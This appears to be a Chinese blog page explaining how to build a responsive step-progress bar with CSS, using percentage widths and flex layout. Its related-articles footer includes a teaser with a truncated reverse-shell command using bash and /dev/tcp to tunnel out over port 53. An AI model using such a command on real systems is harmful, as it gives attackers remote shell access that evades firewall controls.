使用css完成引导用户按照流程完成任务的进度导航条
首先先看设计稿
图中的12345便是主角进度条。
分析需求如下:
线的长度不固定,适应移动端和pc端
点平均地分布在一条线上
点的个数不固定,可能会改变
激活的点之间线的颜色是绿色的
两种种方式 百分比宽度切分和flex布局
贴上代码
HTML
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>JS Bin</title>
</head>
<body>
<div class="pub-wrap">
<div class="pub-title" id="pubTitle">在群内累计布置3天作业,即可加入先锋教师!</div>
<ul class="pub-process process-5" id="pubProcess">
<li class="active"><span class="ball">1天</span></li>
<li class="active"><span class="ball">1天</span></li>
<li><span class="ball">1天</span></li>
<li><span class="ball">1天</span></li>
<li><span class="ball">1天</span></li>
</ul>
</div>
<!-- flex版本 -->
<div class="pub-wrap">
<div class="pub-title" id="pubTitle">在群内累计布置3天作业,即可加入先锋教师!</div>
<ul class="pub-process process-5 pub-process-flex" id="pubProcess">
<li class="active"><span class="ball">1天</span></li>
<li class="active"><span class="ball">1天</span></li>
<li><span class="ball">1天</span></li>
<li><span class="ball">1天</span></li>
<li><span class="ball">1天</span></li>
</ul>
</div>
</body>
</html>
css
ul {
margin:0;
padding:0;
}
li {
list-style: none;
}
.pub-wrap {
position: relative;
padding: 0 30px 10px;
margin-top: 28px;
border-radius: 6px;
background-color: #edf2f2;
}
.pub-title {
padding-top: 14px;
margin-right: -20px;
margin-left: -20px;
font-size: 1.1875rem;
text-align: center;
}
.pub-process {
position: relative;
height: 35px;
margin-top: 28px;
margin-left: 35px;
font-size: 0;
color: #fff;
}
.pub-process:after {
position: absolute;
top: 50%;
left: 0;
z-index: 1;
width: 99%;
height: 4px;
content: "";
-webkit-transform: translate(0, -50%);
transform: translate(0, -50%);
background-color: #d9d9d9;
}
.pub-process li {
position: relative;
z-index: 5;
display: inline-block;
width: 25%;
height: 35px;
font-size: .875rem;
}
.pub-process li:first-child {
width: 35px;
margin-left: -35px;
}
.pub-process .ball {
position: absolute;
top: 0;
right: 0;
z-index: 7;
width: 35px;
height: 35px;
line-height: 35px;
content: "";
text-align: center;
border-radius: 50%;
background-color: #d9d9d9;
}
.pub-process .active .ball {
background-color: #11c2c2;
}
.pub-process .active + .active:after {
position: absolute;
top: 50%;
left: 0;
z-index: 6;
width: 100%;
height: 4px;
content: "";
-webkit-transform: translate(0, -50%);
transform: translate(0, -50%);
background-color: #11c2c2;
}
.process-3 li {
width: 50%;
}
.process-5 li {
width: 25%;
}
/* flex ver */
.pub-process-flex {
display: -webkit-box;
}
.pub-process-flex li {
display: list-item;
-webkit-box-flex: 1;
width: auto;
}
.pub-process-flex li:first-child {
width: 35px;
margin-left: -35px;
-webkit-box-flex: 0;
}
实现效果如图
使用百分比因为宽度是百分比设死的,这样在点的数量修改时,我们还是要改css,所以建议使用flex布局更完美。
使用css完成引导用户按照流程完成任务的进度导航条的更多相关文章
- 【转】一个DIV+CSS代码布局的简单导航条
原文地址:http://www.divcss5.com/shili/s731.shtml 简单的DIV CSS代码布局实现导航条 一个蓝色主题的导航条布局案例,本CSS小实例,采用DIV CSS实现. ...
- 辛星与您使用CSS导航条
第一步.我们创建了一个新的my.html档.在内容填入如下面.这个html文件不动,直到最后.正是这些内容: <!DOCTYPE html PUBLIC "-//W3C//DTD XH ...
- 【AGC】引导用户购买提升用户留存率
借助AGC的云数据库.云托管.应用内消息.App Linking等服务,您可以给不同价值用户设置不同的优惠套餐活动,引导用户持续购买,增强用户黏性.判断用户价值,发送营销短信,引导用户参与营销活动,提 ...
- 【 Jquery插件】引导用户如何操作网站功能的向导
Joyride是一个jQuery插件,可以利用它来创建一个引导用户如何操作网站功能的向导.通过定义一个操作步骤顺序,这个插件会在需要操作的HTML元素旁边显示一个帮助说明的Tooltips. http ...
- SpringSecurity个性化用户认证流程
⒈自定义登录页面 package cn.coreqi.security.config; import org.springframework.context.annotation.Bean; impo ...
- 【微信小程序开发】使用button标签的open-type="getUserInfo"引导用户去授权
一. 前言 小程序官方文档,上面说明 > wx.getUserInfo(OBJECT) 注意:此接口有调整,使用该接口将不再出现授权弹窗,请使用 <button open-type=&qu ...
- 使用button的open-type="getUserInfo"引导用户进行授权
https://blog.csdn.net/weixin_39602178/article/details/80295684 一. 前言 小程序官方文档,上面说明 > wx.getUserInf ...
- 阶段5 3.微服务项目【学成在线】_day17 用户认证 Zuul_01-用户认证-用户认证流程分析
1 用户认证 1.1 用户认证流程分析 用户认证流程如下: 访问下面的资源需要携带身份令牌和jwt令牌,客户端可以通过身份认证的令牌从服务端拿到长令牌, 一会要实现认证服务请求用户中心从数据库内来查询 ...
- 【小程序开发】 点击button按钮,引导用户授权
一. 前言 小程序官方文档,上面说明 wx.getUserInfo(OBJECT) 注意:此接口有调整,使用该接口将不再出现授权弹窗,请使用 <button open-type="ge ...
随机推荐
- Pycharm:设置自带控制台的python版本
之前在用chr将一个编码转化为对应的字符时,出现以下提示 chr() arg not in range(256) 后来发现,只有python2.x才会出现这种情况,python3.x统一使用unico ...
- Spring源码之七registerListeners()及发布订阅模式
Spring源码之七registerListeners()及发布订阅模式 大家好,我是程序员田同学. 今天带大家解读refresh()方法中的registerListeners()方法,也就是我们经常 ...
- Typora笔记上传到博客
Typora笔记上传到博客 Markdown是一种轻量级标记语言,排版语法简洁,让人们更多地关注内容本身而非排版.它使用易读易写的纯文本格式编写文档,可与HTML混编,可导出 HTML.PDF 以及本 ...
- git-切换远程仓库
1. 查看远程仓库地址 git remote -v 2. 切换远程仓库地址 (1)直接切换 git remote set-url origin URL //URL为新地址 (2)先删除后添加 git ...
- petite-vue源码剖析-ref的工作原理
ref内部的工作原理十分简单,其实就是将指令ref.:ref或v-bind:ref标识的元素实例存储到当前作用域的$refs对象中,那么我们就可以通过this.$refs获取对应的元素实例.但由于作用 ...
- htm5基本学习
HTML学习 1.HTML概念 1.1.HTML是什么 Hyper Text Markup Language (超文本标记语言)包括:文字.图片.音频.视频.动画等. 1.2.HTML优势 所有浏览器 ...
- C/C++语言读取SEGY文件笔记(一)
SEGY IO 推荐采用的IDE为Visual studio(VS),本文档将介绍SEGY文件的读取与写入过程,即SEGY文件的复制. 因此,新建头文件ReadSeismic.h与C++文件ReadS ...
- rodert教你学FFmpeg实战这一篇就够了
rodert教你学FFmpeg实战这一篇就够了 建议收藏,以备查阅 pdf阅读版: 链接:https://pan.baidu.com/s/11kIaq5V6A_pFX3yVoTUvzA 提取码:jav ...
- 全面解析UNIX缓冲区溢出 深度防御体系
首先简要回顾一下缓冲区溢出的攻击大系: ◆栈溢出(stack smashing) 未检查输入缓冲区长度,导致数组越界,覆盖栈中局部变量空间之上的栈桢指针%ebp以及函数返回地址retaddr,当函数返 ...
- 53端口反弹shell
shell反弹 由于防火墙策略,导致并不能按预期的反弹shell,端口被封禁,可以使用53端口进行反弹shell 命令如下: bash -c 'sh -i &>/dev/tcp/210. ...